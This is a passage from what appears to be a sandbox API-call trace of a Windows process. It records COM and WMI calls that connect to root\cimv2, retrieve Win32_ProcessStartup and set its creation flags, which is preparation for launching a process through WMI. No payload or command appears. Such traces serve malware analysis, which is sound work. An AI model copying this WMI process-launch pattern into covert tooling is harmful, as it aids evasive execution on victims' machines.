[2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x11f83b0) returned 0x0 [0061.545] WbemLocator:IUnknown:QueryInterface (in: This=0x11f83b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0061.545] WbemLocator:IUnknown:AddRef (This=0x11f83b0) returned 0x3 [0061.545] WbemLocator:IUnknown:QueryInterface (in: This=0x11f83b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0061.545] WbemLocator:IUnknown:QueryInterface (in: This=0x11f83b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0061.545] WbemLocator:IUnknown:QueryInterface (in: This=0x11f83b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0061.545] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0061.545] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0061.545] WbemLocator:IUnknown:QueryInterface (in: This=0x11f83b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0061.546] WbemLocator:IUnknown:Release (This=0x11f83b0) returned 0x2 [0061.546] WbemLocator:IUnknown:Release (This=0x11f83b0) returned 0x1 [0061.546] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0061.546] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0061.546] WbemLocator:IUnknown:QueryInterface (in: This=0x11f83b0, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x11f83b0) returned 0x0 [0061.546] WbemLocator:IUnknown:AddRef (This=0x11f83b0) returned 0x3 [0061.546] WbemLocator:IUnknown:Release (This=0x11f83b0) returned 0x2 [0061.546] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a820, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0061.546] WbemDefPath:IWbemPath:GetText (in: This=0x119a820, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0061.546] WbemDefPath:IWbemPath:GetText (in: This=0x119a820, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0061.546] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x11f83d0) returned 0x0 [0061.546] WbemLocator:IWbemLocator:ConnectServer (in: This=0x11f83d0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1bed3500) returned 0x0 [0061.671] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed3500, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x11dfd20) returned 0x0 [0061.672] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11dfd20, pProxy=0x1bed3500, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0061.672] WbemLocator:IUnknown:Release (This=0x11dfd20) returned 0x1 [0061.672] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed3500, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x11dfd60) returned 0x0 [0061.672] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed3500, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x11dfd20) returned 0x0 [0061.672] WbemLocator:IClientSecurity:SetBlanket (This=0x11dfd20, pProxy=0x1bed3500, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0061.672] WbemLocator:IUnknown:Release (This=0x11dfd20) returned 0x2 [0061.672] WbemLocator:IUnknown:Release (This=0x11dfd60) returned 0x1 [0061.672] CoTaskMemFree (pv=0x1beed640) [0061.672] WbemLocator:IUnknown:AddRef (This=0x1bed3500) returned 0x2 [0061.672] WbemLocator:IUnknown:Release (This=0x11f83d0) returned 0x0 [0061.673] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0061.673] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0061.673] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed3500, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x11dfd30) returned 0x0 [0061.673] WbemLocator:IRpcOptions:Query (in: This=0x11dfd30, pPrx=0x11f8430, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0061.673] WbemLocator:IUnknown:Release (This=0x11dfd30) returned 0x2 [0061.673] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0061.673] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0061.673] WbemLocator:IUnknown:QueryInterface (in: This=0x1bed3500, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1bed3500) returned 0x0 [0061.673] WbemLocator:IUnknown:Release (This=0x1bed3500) returned 0x2 [0061.673] SysStringLen (param_1=0x0) returned 0x0 [0061.673] WbemDefPath:IWbemPath:GetText (in: This=0x119a760, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0061.673] WbemDefPath:IWbemPath:GetText (in: This=0x119a760, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0061.674] IWbemServices:GetObject (in: This=0x1bed3500, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x1bef3290, ppCallResult=0x0) returned 0x0 [0061.676] IWbemClassObject:Get (in: This=0x1bef3290, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0061.676] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0061.677] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0061.677] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0061.677] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0061.677] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0061.677] IUnknown:Release (This=0x111f638) returned 0x1 [0061.679] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x11f83d0) returned 0x0 [0061.679] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f83d0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0061.679] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f83d0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x119a8e0) returned 0x0 [0061.679] WbemDefPath:IUnknown:Release (This=0x11f83d0) returned 0x0 [0061.679] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a8e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x119a8e0) returned 0x0 [0061.679] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a8e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0061.680] WbemDefPath:IUnknown:AddRef (This=0x119a8e0) returned 0x3 [0061.680] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a8e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0061.680] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a8e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0061.680] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a8e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x11f83f0) returned 0x0 [0061.680] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f83f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0061.680] WbemDefPath:IUnknown:Release (This=0x11f83f0) returned 0x3 [0061.680] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0061.680] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0061.680] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a8e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0061.680] WbemDefPath:IUnknown:Release (This=0x119a8e0) returned 0x2 [0061.680] WbemDefPath:IUnknown:Release (This=0x119a8e0) returned 0x1 [0061.680] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0061.680] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0061.680] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a8e0, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x119a8e0) returned 0x0 [0061.680] WbemDefPath:IUnknown:AddRef (This=0x119a8e0) returned 0x3 [0061.680] WbemDefPath:IUnknown:Release (This=0x119a8e0) returned 0x2 [0061.680] WbemDefPath:IWbemPath:SetText (This=0x119a8e0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0061.680] IWbemClassObject:Get (in: This=0x1bef3290, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a62638*=0, plFlavor=0x2a6263c*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a62638*=19, plFlavor=0x2a6263c*=0) returned 0x0 [0061.681] IWbemClassObject:Get (in: This=0x1bef3290, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a62638*=19, plFlavor=0x2a6263c*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a62638*=19, plFlavor=0x2a6263c*=0) returned 0x0 [0061.681] IWbemClassObject:Put (This=0x1bef3290, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0061.681] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a6a0, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0061.681] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0061.681] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0061.681] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0061.681] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0061.681] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0061.681] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0061.681] IUnknown:Release (This=0x111f638) returned 0x1 [0061.683] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x11f8590) returned 0x0 [0061.683] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f8590, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0061.683] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f8590, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x119a9a0) returned 0x0 [0061.683] WbemDefPath:IUnknown:Release (This=0x11f8590) returned 0x0 [0061.683] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a9a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x119a9a0) returned 0x0 [0061.683] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a9a0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0061.684] WbemDefPath:IUnknown:AddRef (This=0x119a9a0) returned 0x3 [0061.684] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a9a0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0061.684] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a9a0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0061.684] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a9a0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x11f85d0) returned 0x0 [0061.684] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f85d0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0061.684] WbemDefPath:IUnknown:Release (This=0x11f85d0) returned 0x3 [0061.684] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0061.684] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0061.684] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a9a0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0061.684] WbemDefPath:IUnknown:Release (This=0x119a9a0) returned 0x2 [0061.684] WbemDefPath:IUnknown:Release (This=0x119a9a0) returned 0x1 [0061.684] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0061.684] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0061.684] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a9a0, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x119a9a0) returned 0x0 [0061.684] WbemDefPath:IUnknown:AddRef (This=0x119a9a0) returned 0x3 [0061.684] WbemDefPath:IUnknown:Release (This=0x119a9a0) returned 0x2 [0061.684] WbemDefPath:IWbemPath:SetText (This=0x119a9a0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0061.684] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a9a0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0061.684] WbemDefPath:IWbemPath:GetText (in: This=0x119a9a0, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0061.684] WbemDefPath:IWbemPath:GetText (in: This=0x119a9a0, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0061.685] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0061.685] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0061.685] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0061.685] IUnknown:Release (This=0x111f638) returned 0x1 [0061.685] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x11f86d0) returned 0x0 [0061.686] WbemLocator:IUnknown:QueryInterface (in: This=0x11f86d0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0061.686] WbemLocator:IClassFactory:CreateInstance (in: This=0x11f86d0, pUnkOuter=0x0, 